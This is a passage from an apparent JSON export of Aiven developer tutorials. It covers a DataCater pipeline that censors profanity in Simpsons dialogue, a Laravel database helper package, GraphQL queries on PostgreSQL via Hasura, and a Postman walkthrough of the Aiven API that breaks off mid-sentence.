replication wal2json](//cdn.sanity.io/images/sczeoy4w/production/74083910bdaf0b014bd63b9e43b4d7c178bf967e-2236x884.png)\n\nWith all the fields filled, we can check the connection and, if successful, click on **Create datasource**.\n\n#### Define the OpenSearch target\n\nA similar exercise can be done with the OpenSearch index, that we'll use as a data pipeline target. We need to head to **Data sinks** and click on **Create data sink**, select **Elasticsearch**, and provide the following details:\n\n* **Name**: the logical name of the data sink, we can use `simpsons_sink_data`\n* **Hostname or IP**, **Port**, **Username** and **Password**: the connection details to use to reach Aiven for PostgreSQL. We can find all the details with the following Aiven CLI command:\n\n ```shell\n avn service get demo-opensearch --format '{service_uri_params}'\n ```\n\n* **HTTP Scheme**: we can use the `HTTPS` protocol, available by default in Aiven for openSearch\n* **Index name**: we can either leave this blank (an index named `datacater_pipeline_[pipeline_id]` will be used), or fill it in. In our case we'll fill it in with `simpsons_cleaned_dialogues`\n\nOnce we've checked that the connection is valid, we click on **Create data sink** to finalise the process.\n\n#### Get the ApiLayer token and enable the Bad words API\n\nAs anticipated, we're going to use the [ApiLayer Bad words API](https://apilayer.com/marketplace/bad_words-api) to clean-up the sentences, which means we need to setup an account. Once that's created and verified, we can subscribe to the [ApiLayer Bad words API](https://apilayer.com/marketplace/bad_words-api) free plan (enough for our little test).\n\nRemember to make a note of the **API Key** from your account details on the ApiLayer website. You'll need it down the road.\n\n#### Polish all the sentences\n\nTime to create our data pipeline.\n\nLet's head back to DataCater and select the **Pipelines** tab at the top of the window and click on **Create pipeline**. We can now:\n\n* Select the data source named `simpsons_source_data` pointing to our PostgreSQL table.\n* Select the data sink named `simpsons_cleaned_dialogues` pointing to our OpenSearch index.\n\nSince [ApiLayer Bad words API Free Plan](https://apilayer.com/marketplace/bad_words-api#pricing) only allows us to clean up to 100 sentences a day, we'll focus on the most recent sentences of the iconic character `Bart Simpson`. To do this, let's navigate to the **Filters** tab and add the following filters: \n\n* In the `character_speaking` column, add a filter of type **Require values that equal value** with the value `Bart Simpson`\n* In the `id` column, add a filter of type **Require values that are greater than value** with the value `157500`. The `157500` value has been hand crafted accurately to have enough examples to play with, but not too much to exceed the API's free tier daily quota.\n\nThe Filters tab should look like the following image. Don't worry about the 100% drop rate, it's based on sample data, and we still have 54 rows to parse. You can check it with the following query in the PostgreSQL database\n\n```\nselect count(*)\nfrom simpsons_dialogues\nwhere character_speaking = 'Bart Simpson'\nand id \u003e 157500\n```\n\n![The Filter tab showing the two filters applied to the pipeline](//cdn.sanity.io/images/sczeoy4w/production/e647b03cf66630c22a178d0cd1431ec823cc783c-1902x482.png)\n\nNow we need to define the cleaning pipeline by navigating to the **Transform** tab, where the magic 🪄 happens.\nIf we click on the **Apply transformation** button below the `character_speaking` column, we can check the long list of options available for transformations and select **Capitalize** to normalise all characters capitalization.\n\nThen we can move to the `words` column and, apply the **User defined transformation** which allows us to write Python, amazing! The [DataCater Code Transformations documentation](https://datacater.io/docs/transformations/code/) says that we can use the [requests](https://pypi.org/project/requests/) module to perform API calls to ApiLayer.\n\nWith Python we can call the ApiLayer Bad Words API, pass the phrase and store the cleanup response. Pasting the following code (taken from the [ApiLayer documentation](https://apilayer.com/marketplace/bad_words-api#documentation-tab)) and replacing the `APILAYER_KEY` placeholder with the value we saved earlier from the ApiLayer website will do the trick:\n\n```python\nimport requests\n\nurl = \"https://api.apilayer.com/bad_words?censor_character={censor_character}\"\n\nheaders= {\n \"apikey\": \"APILAYER_KEY\"\n}\n\ndef transform(value, row):\n result = ''\n if row['words'] is not None:\n payload = row['words'].encode(\"utf-8\")\n response = requests.request(\"POST\", url, headers=headers, data = payload)\n\n status_code = response.status_code\n result = response.text\n if result is None:\n result=''\n return str(result)\n```\n\nIn the above code, we're setting the headers and the URL, and then retrieving the `words` column from the current row (`row['words]`), encoding it and passing it to the ApiLayer API, and then finally parsing the result.\n\nOnce we've finished our transformation definition, the tab should be similar to the following image.\n\n![Screenshot of the transformation tab including the capitalize and user defined transformation](//cdn.sanity.io/images/sczeoy4w/production/2c9722b5bd59d82603061ac75c49f8284f454ee5-1900x582.png)\n\n### Deploy the pipeline and check the results\n\nIt's finally time to deploy the pipeline. We can head to the **Deploy** tab and click on **Create deployment**. We just need to wait a couple of seconds for the deployment to be created and then we can hit the **Start** button. The DataCater UI allows us also to browse the deployment logs, which is quite handy to spot if something goes wrong.\n\nWhere's our data gone? We can check it in OpenSearch Dashboards, available alongside our Aiven for OpenSearch. We can find the URL and login credentials with:\n\n```shell\navn service get demo-opensearch --json \\\n | jq -r '.connection_info.opensearch_dashboards_uri'\n```\n\nWe can head to **Stack Management** select **Index Patterns**, and create an index pattern with the name `simpsons*`. If our data pipeline is working we should see that the `simpsons_cleaned_dialogues` exists. \n\n![OpenSearch Index pattern screen showing the simpsons\\_cleaned\\_dialogues index](//cdn.sanity.io/images/sczeoy4w/production/12c01d14b1ea88fe48ec636096f0b0c3d7eeb956-2336x616.png)\n\nAfter creating the index pattern, we can head to the **Discover** tab, add a filter for `words.bad_words_total` not being equal to 0, and review the dialogues that seem to contain bad words. Some of them are false positives... but hey better safe than sorry!\n\n![List of censored words](//cdn.sanity.io/images/sczeoy4w/production/619fbde9a001618f26b3278d25651fb92e1d2b32-3344x1292.png)\n\n### Is it really streaming?\n\nAs of now, we have only polished a static set of sentences. Can we demonstrate that the flow is acting in streaming mode too?\n\nWith our terminal connected to the PostgreSQL instance, we can now take a deep breath and run the following insert statement replacing the `BAD_WORDS_PHRASE` with something really impolite:\n\n```sql\ninsert into simpsons_dialogues (character_speaking, words)\n values ('Bart Simpson', 'BAD_WORDS_PHRASE');\n```\n\nAnd immediately we should see a new entry in the OpenSearch index. In my case... it worked! \n\nBy refreshing the OpenSearch Dashboard, scrolling to the bottom, checking the last entry and clicking on the little arrow `\u003e` next to the message, we can see the JSON output in detail, represented below with some `*` polishing the bad words.\n\n```json\n{\n \"_index\": \"thesimpsons\",\n \"_type\": \"_doc\",\n \"_id\": \"158315\",\n \"_version\": 0,\n \"_score\": 0,\n \"_source\": {\n \"id\": 158315,\n \"character_speaking\": \"Bart Simpson\",\n \"words\": {\n \"content\": \"D*** A** S***\",\n \"bad_words_total\": 3,\n \"bad_words_list\": [\n {\n \"original\": \"D***\",\n \"word\": \"d***\",\n \"deviations\": 0,\n \"info\": 2,\n \"start\": 0,\n \"end\": 4,\n \"replacedLen\": 4\n },\n {\n \"original\": \"A**\",\n \"word\": \"a**\",\n \"deviations\": 0,\n \"info\": 2,\n \"start\": 5,\n \"end\": 8,\n \"replacedLen\": 3\n },\n {\n \"original\": \"S**\",\n \"word\": \"s**\",\n \"deviations\": 0,\n \"info\": 2,\n \"start\": 9,\n \"end\": 13,\n \"replacedLen\": 4\n }\n ],\n \"censored_content\": \"**** *** ****\"\n }\n }\n}\n```\n\nA real-time streaming solution that polishes sentences... This is \\*\\*\\*\\* brilliant!\n\n### Enhance streaming data pipelines with Python extensions\n\nJokes apart, this is just a simple example of what's achievable by plugging DataCater on top of Aiven services, like Aiven for PostgreSQL and Aiven for OpenSearch. The rich set of pre-cooked transformations allows you to cover a great part of the typical data manipulations needed, and, for the rest, there's always the Python extension handy.\n\nSome more resources that you might find useful:\n\n* [DataCater documentation](https://datacater.io/docs/)\n* [ApiLayer Bad words API](https://apilayer.com/marketplace/bad_words-api)\n* [PostgreSQL logical replication with wal2json](https://www.postgresql.org/docs/current/logical-replication-architecture.html)\n* [Aiven for OpenSearch Dashboard](https://aiven.io/docs/products/opensearch/dashboards.html)\n* [Aiven CLI documentation](https://aiven.io/docs/tools/cli.html)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:17:56.196Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"6d6036577379","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-09-30T00:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-8e60202db204a96031f7f815169309c3709fa8d3-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/datacater-simpsons"},"subtitle":"We all know we shouldn't use naughty words. Learn how to remove them from your streaming data using DataCater.","tags":[{"_key":"facea6816872","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"47642dd6cb29","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"c1cbedfd9024","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Remove naughty words from your data using DataCater"} {"__i18n_lang":"en","_createdAt":"2023-08-07T07:34:48Z","_id":"1490ee7b-9ce0-473d-8aa8-438f85e1bff1","_rev":"lhvtNBOlLYH5KiQFQ8Ym07","_type":"devArticle","_updatedAt":"2024-01-29T15:45:17Z","body":"Our mission at Aiven is to make developers' lives better. Today I'd like to share our new tool that makes Laravel developers' lives better by adding some helpful functionality to their projects.\n\nLaravel is the most popular PHP framework in use today, and is usually backed by either [MySQL](https://aiven.io/mysql \"Aiven for MySQL\") or [PostgreSQL®](https://aiven.io/postgresql \"Aiven for PostgreSQL\") databases (Aiven offers both). Many developer platforms use one database for development and another for specific sets of test data. You might also need to connect elsewhere to debug a specific problem. However, switching between databases can be cumbersome.\n\nLuckily we have a solution for you! The [`aiven-laravel`](https://github.com/Aiven-Labs/aiven-laravel) package makes it painless to reconfigure your database connection. It adds commands to the `artisan` command line utility that you can use to configure your application to point to any of your Aiven database services. It also adds some helpers to power off any databases that are not in use, so you can save that money for a more productive purpose.\n\n## Set up the Aiven-Laravel package\n\nIf you're new to Aiven, you can [sign up for a free trial](https://console.aiven.io/signup) to get started. If you're new to Laravel, it has a nice [starter project](https://laravel.com/docs/8.x#installation-via-composer) you can use to begin.\n\nAdd `aiven-laravel` to your existing (or newly created) project with Composer; the project page has the [full installation instructions](https://github.com/Aiven-Labs/aiven-laravel#getting-started). You will need to generate an [Aiven access token](https://aiven.io/docs/platform/howto/create_authentication_token) to connect your Aiven account, and then you are ready to Aiven your Laravel ... (is Aiven a verb? It is now).\n\n## Configure Laravel to use an Aiven service\n\n`aiven-laravel` makes setting the configuration easier whether you're running Aiven for MySQL or Aiven for PostgreSQL (or indeed Redis®* or OpenSearch®, which are also common and sound combinations for Laravel). The default configuration for Laravel is to use a `.env` file and to list the database host, port, and other details separately. However, it also supports use of the `DATABASE_URL` environment variable to hold an entire connection string. This can be a more convenient way to work with database connections. Set the single string in your `.env` file for development, and configure just one environment variable on the cloud platform you deploy to.\n\nTo check the databases and their types that are currently in your Aiven account, use this command:\n\n```\nphp artisan aiven:list\n```\n\n_Note:_ If you installed the `Aiven-Labs/aiven-laravel` package without reading the instructions and didn't configure it yet, it will prompt you with the environment variables you need to set. Because, yes, this package was built by an engineer who doesn't read setup instructions either.\n\nLet's say you have a MySQL service called `dev-db`. You can get the configuration that you need to connect to it from Laravel with:\n\n```\nphp artisan aiven:getconfig --service dev-db\n```\n\nTake the output of the command and put it wherever you need your config to go! If you're developing locally, this is `.env` by default, but if you use multiple environment config files or are managing your environment differently, you can use these values there instead.\n\n## Avoid cloud bill surprises\n\nOne thing that stops people from modernizing their setup and moving to the cloud, especially for development, is how easy it is to accidentally misconfigure something and get a large bill. It happens too often, and it's definitely something that all developers should be cautious of. Aiven's **pricing includes data transfer** so the price shown is what you'll pay if you leave the database running full time - this by itself reduces the risks hugely.\n\nAnother way to keep costs under control is to turn things off when you are not using them, and this applies particularly to development platforms. Aiven gives the ability to power off your database when you're not using it, and power it back on unchanged - and we've added support to do that from `artisan` with the Aiven-Laravel package.\n\nWhen you sit down to do some development work and need your database:\n\n```\nphp artisan aiven:powerup --service dev-db\n```\n\n[your amazing things happen here]\n\nWhen you have finished for the day, stop the meter from running by powering the service down again until next time:\n\n```\nphp artisan aiven:powerdown --service dev-db\n```\n\nFor databases that don't need to be always on, the test platforms for a client that you don't need to use every day ... this approach makes the cloud a very attractive place to keep your databases for low-friction access when you need them.\n\n## Aiven-Laravel and you\nWe know that plenty of PHP developers use our platform already, and we would love to hear from you if you find Aiven-Laravel useful (or not!). What would you add? Is there anyone you think should try out the tool? Issues, stars and pull requests are more than welcome on the [GitHub repository](https://github.com/Aiven-Labs/aiven-laravel)!\n\n## Wrapping up\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") or [Aiven for MySQL](https://aiven.io/mysql \"Aiven for MySQL\")\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:34:45.509Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2021-11-01T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Using Laravel? Read about our new way to easily reconfigure your Aiven database connection: connect to any Aiven database and power off any unused ones.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-145f5e9e094ad61719c6c39dfe1ddd89a7ced55b-1200x628-jpg","_type":"reference"}},"metaTitle":"Add Aiven database magic to your Laravel project"},"slug":{"_type":"slug","current":"/developer/add-aiven-database-magic-to-your-laravel-project"},"subtitle":"Using Laravel? Read about our new way to easily reconfigure your Aiven database connection: connect to any Aiven database and power off any unused ones.","tags":[{"_key":"f76ebe8bb101","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"a6f7fdbb699a","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"da5ba6f41e92","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"90a969fc05d4","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"Add Aiven database magic to your Laravel project"} {"__i18n_lang":"en","_createdAt":"2024-01-10T10:51:18Z","_id":"39aefd46-3616-41e8-bd47-bb5846101455","_rev":"VeNKqGNmt13PzvGhqsSeSC","_type":"devArticle","_updatedAt":"2024-01-29T15:45:37Z","body":"A dataset in a database is only useful if it can be queried by companies' applications. GraphQL exposes the data via APIs by adding a layer on top of the database. This allows you to both control who has access to resources and abstract the physical storage of information from how the data is queried and manipulated.\n\nThis tutorial shows how to add GraphQL APIs on top of a PostgreSQL database using [Hasura cloud](https://cloud.hasura.io/)\n\n## Create and Populate a PostgreSQL® database\n\nThe first step to expose the data via GraphQL is to create a PostgreSQL database and upload some data. To do this:\n\n1. [Sign up for an Aiven account](https://console.aiven.io/signup) and access the Aiven console.\n2. Create an Aiven for PostgreSQL® service and specify:\n \n * The PostgreSQL version\n * The cloud provider and region\n * The service plan, defining the size of the service. We can use the free tier for the purpose of this tutorial\n * The additional storage disk size\n * The service name\n\n![Overview of Aiven for PostgreSQL service creation](https://cdn.sanity.io/images/sczeoy4w/production/d5784455517b891b65d151449241ac8e51a110e1-1353x725.png)\n\n3. Wait a couple of minutes for the Aiven for PostgreSQL service to be up and running\n\n4. Include the Pagila dataset by following the [related documentation](https://aiven.io/docs/products/postgresql/howto/pagila)\n\nWhen done, if we connect to the PostgreSQL database with [psql](https://aiven.io/docs/products/postgresql/howto/connect-psql), we should be able to navigate to the `pagila` database with:\n\n```\n\\c pagila\n```\n\nCheck that we have tables in the database using the `\\dt` command, with a result similar to the below:\n\n```\n List of relations\n Schema | Name | Type | Owner\n--------+------------------+-------------------+----------\n public | actor | table | avnadmin\n public | address | table | avnadmin\n public | category | table | avnadmin\n public | city | table | avnadmin\n public | country | table | avnadmin\n public | customer | table | avnadmin\n public | film | table | avnadmin\n public | film_actor | table | avnadmin\n public | film_category | table | avnadmin\n public | inventory | table | avnadmin\n public | language | table | avnadmin\n public | payment | partitioned table | avnadmin\n public | payment_p2020_01 | table | avnadmin\n public | payment_p2020_02 | table | avnadmin\n public | payment_p2020_03 | table | avnadmin\n public | payment_p2020_04 | table | avnadmin\n public | payment_p2020_05 | table | avnadmin\n public | payment_p2020_06 | table | avnadmin\n public | rental | table | avnadmin\n public | staff | table | avnadmin\n public | store | table | avnadmin\n(21 rows)\n```\n\nAnd if we query the `actor` table with `select * from actor limit 10;` we should see the the following 10 rows:\n\n```\n actor_id | first_name | last_name | last_update\n----------+------------+--------------+------------------------\n 1 | PENELOPE | GUINESS | 2020-02-15 09:34:33+00\n 2 | NICK | WAHLBERG | 2020-02-15 09:34:33+00\n 3 | ED | CHASE | 2020-02-15 09:34:33+00\n 4 | JENNIFER | DAVIS | 2020-02-15 09:34:33+00\n 5 | JOHNNY | LOLLOBRIGIDA | 2020-02-15 09:34:33+00\n 6 | BETTE | NICHOLSON | 2020-02-15 09:34:33+00\n 7 | GRACE | MOSTEL | 2020-02-15 09:34:33+00\n 8 | MATTHEW | JOHANSSON | 2020-02-15 09:34:33+00\n 9 | JOE | SWANK | 2020-02-15 09:34:33+00\n 10 | CHRISTIAN | GABLE | 2020-02-15 09:34:33+00\n(10 rows)\n```\n\n## Create a Hasura Project\n\nThe next step is to visit [https://cloud.hasura.io/](https://cloud.hasura.io/) and create an account if you haven't done so. Once your Hasura account is ready, proceed to create a new project, utilizing the free tier for the purpose of this tutorial.\n\n![Create Hasura project](https://cdn.sanity.io/images/sczeoy4w/production/d42acfb9dce0b0715e8cfa79142cc055a6c55092-1330x765.png)\n\nNote: Consider selecting a region for your Hasura project deployment that is near the region where the Aiven for PostgreSQL service is running to minimize latency.\n\nNow, review the details of the Hasura project and click on **Launch Console**.\n\n![Hasura project details](https://cdn.sanity.io/images/sczeoy4w/production/8b97524efa1490aacd0bd1405abb179724006278-1544x801.png)\n\n## Connect the Hasura project to Aiven for PostgreSQL\n\nTo connect the Hasura project and Aiven for PostgreSQL, navigate to the **Data** tab in the Hasura console. Choose PostgreSQL and select **Connect Existing Database**. Provide a name for the database and copy the URL from the [Aiven Console](https://console.aiven.io/), specifically from the service **Overview** page, into the **Database URL** connection parameter.\n\n![Aiven for PostgreSQL service URI into the Database URL parameter](https://cdn.sanity.io/images/sczeoy4w/production/5b2526dc8c55aec060d0410c65c5e5e3e8a96082-6786x2030.png)\n\nIn the above URI, replace the database name `defaultdb` with `pagila`, and then click on **Connect Database**. Your connection should be visible with the chosen database name (`Pagila` in the screenshot below).\n\n![Hasura Data Connection stored](https://cdn.sanity.io/images/sczeoy4w/production/08cb186ca143ef4951e73c4eee1a7676ca0f8018-1327x260.png)\n\n## Track a PostgreSQL table in Hasura\n\nThe next step is to track a PostgreSQL database table in Hasura. To do this, navigate to the **Database** section, click on the `public` schema, and then select **Track** next to the `actor` table.\n\n![Track PostgreSQL table in Hasura](https://cdn.sanity.io/images/sczeoy4w/production/4a4ea4a5393a1a1e12d9101d970acfb3b152475a-1634x431.png)\n\nReview the tracking details and make changes in the following screen.\n\n![Tracking details in Hasura](https://cdn.sanity.io/images/sczeoy4w/production/fd761762895bf17a4c3a1090cb5a358ee15ac3aa-1179x516.png)\n\n## Create GraphQL queries\n\nThe last step is to create GraphQL APIs on for our data. Go to the **API** tab in Hasura and look at the **Explorer** section. It should show the `actor` table.\n\n![Explorer showing the actor table](https://cdn.sanity.io/images/sczeoy4w/production/e7c78029fc890eb30fa9ddb36ed5818b0cec8fe3-303x314.png)\n\n### Get all actors\n\nThe first query to implement lets us to select all the actors. We can perform that by writing, in the main **GraphQL** section, the query:\n\n```\nquery actors {\n actor {\n actor_id\n first_name\n last_name\n last_update\n }\n}\n```\n\nNext, click on **Run**. We should see the `actor` data appearing in the data preview section:\n\n```\n{\n \"data\": {\n \"actor\": [\n {\n \"actor_id\": 1,\n \"first_name\": \"PENELOPE\",\n \"last_name\": \"GUINESS\",\n \"last_update\": \"2020-02-15T09:34:33+00:00\"\n },\n {\n \"actor_id\": 2,\n \"first_name\": \"NICK\",\n \"last_name\": \"WAHLBERG\",\n \"last_update\": \"2020-02-15T09:34:33+00:00\"\n },\n {\n \"actor_id\": 3,\n \"first_name\": \"ED\",\n \"last_name\": \"CHASE\",\n \"last_update\": \"2020-02-15T09:34:33+00:00\"\n },\n ...\n ]\n }\n}\n```\n\nThe above fetches all the rows in the `actor` table, then retrieves and exposes the `actor_id`, `first_name`, `last_name` and `last_update` columns.\n\n### Filter a single actor\n\nThe next GraphQL query lets us filter the results of a single actor. In the main query editor, write the following:\n\n```\nquery actors ($actor_name: String!){\n actor (where: { first_name: { _eq: $actor_name } }) {\n actor_id\n first_name\n last_name\n }\n}\n```\n\nIn the **Query variables** section, add the value for the actor name filter:\n\n```\n{\n \"actor_name\":\"CHRISTIAN\"\n}\n```\n\nWhen running the query we should see a result like the following, listing only the actors named `CHRISTIAN`:\n\n```\n{\n \"data\": {\n \"actor\": [\n {\n \"actor_id\": 10,\n \"first_name\": \"CHRISTIAN\",\n \"last_name\": \"GABLE\"\n },\n {\n \"actor_id\": 58,\n \"first_name\": \"CHRISTIAN\",\n \"last_name\": \"AKROYD\"\n },\n {\n \"actor_id\": 61,\n \"first_name\": \"CHRISTIAN\",\n \"last_name\": \"NEESON\"\n }\n ]\n }\n}\n```\n\nIf we want to run these queries from our local terminal, we can use the following command, replacing the following two parameters:\n\n* the `\u003cHASURA_TOKEN\u003e` with the **x-hasura-admin-secret**\n* the `\u003cHASURA_ENDPOINT\u003e` with the **GraphQL endpoint**\n\n```\ncurl --header \"Content-Type: application/json\" \\\n --header \"\u003cHASURA_TOKEN\u003e\"\\\n --request POST \\\n --data '\n {\"query\":\"query actors ($actor_name: String!){actor (where: { first_name: { _eq: $actor_name } }) { actor_id first_name last_name}}\",\n \"variables\":{\"actor_name\": \"CHRISTIAN\"}\n }' \\\n \u003cHASURA_ENDPOINT\u003e\n```\n\nRunning this in a terminal returns data about the same three actors:\n\n```\n{\"data\":{\"actor\":[{\"actor_id\":10,\"first_name\":\"CHRISTIAN\",\"last_name\":\"GABLE\"}, {\"actor_id\":58,\"first_name\":\"CHRISTIAN\",\"last_name\":\"AKROYD\"}, {\"actor_id\":61,\"first_name\":\"CHRISTIAN\",\"last_name\":\"NEESON\"}]}}\n```\n\n### Insert a new actor\n\nIn our final query, we'll insert a new actor in the `actor` table. To do so we can use the following:\n\n```\nmutation insert_single_actor($object: actor_insert_input!) {\n insert_actor_one(object: $object){\n first_name \n last_name\n }\n}\n```\n\nWith the following variables:\n\n```\n{\n \"object\":{\n \"first_name\":\"JANE\",\n \t\"last_name\":\"WHITE\"\n }\n}\n```\n\nOnce executed, we can check that a new row has been added to the `actor` table in PostgreSQL using `psql`:\n\n```\nselect * from actor where last_name='WHITE';\n```\n\nThe result is the new entry we just added using GraphQL:\n\n```\n actor_id | first_name | last_name | last_update\n----------+------------+-----------+-------------------------------\n 201 | JANE | WHITE | 2023-08-02 13:48:02.081734+00\n(1 row)\n```\n\n## Conclusion\n\nGraphQL APIs are increasingly used to retrieve or manipulate data in databases. This tutorial demonstrates how you can add these APIs with Hasura on top of a PostgreSQL database managed by Aiven. If you want to learn more:\n\n* [GraphQL](https://graphql.org/)\n* [Hasura website](https://hasura.io/)\n* [Hasura and Aiven for PostgreSQL](https://hasura.io/docs/latest/databases/postgres/aiven/)","feature":{"_type":"featuredItem","active":false,"endDate":"2024-01-17T10:44:22.247Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"f164f8a1b923","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"},{"_key":"16870657d6a9","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2024-01-17T11:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The words \"Query a PostgreSQL® database using GraphQL\" in white on a dark blue background with dark blue abstract shapes. The Aiven logo is in the bottom left.","asset":{"_ref":"image-f499b31e6cab61f97ec2772ca6ba80ed2e419961-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/query-a-postgresqlr-database-using-graphql"},"subtitle":"GraphQL is a great technology for working with complex data models. Learn how to query an Aiven for PostgreSQL® database with GraphQL using Hasura","tags":[{"_key":"86d884b8512a","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"93480ad3c199","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"cc6f89c54711","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"550a8d649f8e","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Query a PostgreSQL® database using GraphQL"} {"__i18n_lang":"en","_createdAt":"2023-03-24T15:02:16Z","_id":"bf485ef4-4dc1-40e0-b542-cbc618db7d96","_rev":"ZgPiUE9lJ1tcRKuFnaAvWT","_type":"devArticle","_updatedAt":"2024-07-11T13:22:06Z","body":"[Choosing cloud providers that have APIs is a smart move](https://aiven.io/blog/your-cloud-platform-isnt-future-proof-without-an-api); having an API available means you can build any additional integrations that your application requires, in addition to what's provided as standard. The downside is getting to know someone else's API, which can be a slow and painful process if good developer resources aren't available.\n\nAt Aiven we'd love you to get to know our API, so we created a [Postman® collection](https://www.postman.com/aiven-apis/workspace/aiven/documentation/21112408-1f6306ef-982e-49f8-bdae-4d9fdadbd6cd) to help you get started. If you haven't used [Postman](https://www.postman.com/) before, it's a friendly interface for humans to work with APIs. We use it ourselves, so we created something you could use too. In this post, you'll learn about using Postman to take your first steps with the Aiven API.\n\n## Before you start\n\nYou can use Postman either in your web browser or as a desktop application. Whichever you choose, [sign up for a free account](https://www.postman.com/postman-account/), or sign in if you have one already.\n\nClick [Collections](https://www.postman.com/aiven-apis/workspace/aiven/documentation/21112408-1f6306ef-982e-49f8-bdae-4d9fdadbd6cd). To get your own copy of the collection to work with, right-click on the collection and choose \"Create a fork\".\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/42c82e12aa80ba470a9e4647e2da65174cc38425-1569x1114.png)\n\nYou're prompted to give the collection a name, and which workspace to move it to. \"My workspace\" is a good choice if you're not sure.\n\n## Get your head in the clouds\n\nThe first API call we'll make is simple: ask the Aiven API for a list of all the clouds that a user can deploy their services to on Aiven.\n\nExpand your collection in the left-hand bar and click on \"Clouds\". The request you want is called \"List available cloud platforms\", and it doesn't need any editing or changes. Go ahead and click the \"Send\" button over on the right-hand side.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/ac2691faf4cd276ae77e2d56570b0b3c052511fe-1742x995.png)\n\nWell done - you've made your first API call! The results display in the lower half of the screen; Postman autodetects that the response is in JSON, and format it nicely so that us mere mortals can read it. Have a scroll down and pick a location that sounds like a fun place to host your database.\n\nThis is fun, but it'll be more fun when you're working with your own databases in the cloud, so the next step is to identify yourself to the API when you make a request.\n\n## Send credentials with your API request\n\nWhen you sign in to a website, you probably use a username and password (Aiven also supports SSO and allows you to add 2FA, in case you're interested). For APIs, we usually use an authentication token. This is good practice because you can create a new token for each application; those credentials can each be independently rotated or revoked without affecting any other applications - because they each use their own tokens.\n\n1. If you don't already have an Aiven account, [sign up for a free trial](https://console.aiven.io/signup).\n\n2. Visit [your Aiven profile page](https://console.aiven.io/profile/auth) and scroll down to \"Authentication tokens\" to create a new token.\n\n3. Enter a description so that you will know which token this is, and set the expiry in hours for your token (leave it blank for a token that does not expire). Click \"Generate token\".\n\n4. Copy the token, ready to set it in the Postman collection.\n\n5. Back in Postman, click the collection menu, and go to \"Edit\". On the \"Variables\" tab, paste your token value in under \"Current value\" for the \"authToken\" variable. Press the \"Save\" button on the right-hand side above the tabs.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/a64697f4a7dad6fcd3fa2c6105c5792b82007220-1742x995.png)\n\nAll the requests in the collection are set up to use this variable, so by setting it here, it's used for all the API calls. Speaking of which, shall we make another one?\n\n## Create a cloud database\n\nAiven offers a variety of different databases and other data _things_, like [Apache Kafka®](https://kafka.apache.org/) (technically not a database) and [Grafana®](https://grafana.com/) (_definitely_ not a database), and we call them all \"services\".\n\nIn the \"Services\" folder within the collection, select the request called \"Create a service\". You can create whichever service type you like, but the example values create a Redis, which is a great place to start.\n\n* Under the \"Params\" section, update the path variable `project` with a project name that exists in your account that you want to use.\n\n* This is a `POST` request, so most of the interesting parts are in the body data; this can be found on the \"Body\" tab of the request. Have a look at the data, you might like to set a nicer value for `service_name`, for example.\n\nWhen you are happy with the values, click \"Send\". The response should have status 200 and show information about your new service.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/e7b2e75508e99eba8a7e1a056d7170c7996c005d-1742x995.png)\n\nThe right status code and some JSON is a good outcome, but it's not very exciting, is it? Head back to your Aiven console and you should see a new Redis service.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/2ce8f2d9b9ee3d1a9def330081bf9e7300e36f29-1742x995.png)\n\nA whole new Redis to play with! If you click on the service, you'll see an overview page for the service including lots of configuration and the connection information to use it. Check out our [docs on connecting to Redis](https://aiven.io/docs/products/redis/howto/connect-redis-cli.html) using the `redis_cli` tool.\n\n## Power off services you're not using\n\nOne big concern about working with cloud services is how easy it is to start services that then hang around, running up the bills. So, once you've finished playing with your cloud Redis service, let's remove it. It's only a Postman call to get it back, after all.\n\nLook in the \"Services\" folder of the collection again, and this time select \"Delete a service\".\n\nOn the \"Params\" tab, enter both the project and service name that you used. Send the request - and again we're looking for a response status of 200 OK.\n\nCheck back on your Aiven services list: as if by magic, your service is gone.\n\n\u003e Tip: You can also use the \"Update service configuration\" request and 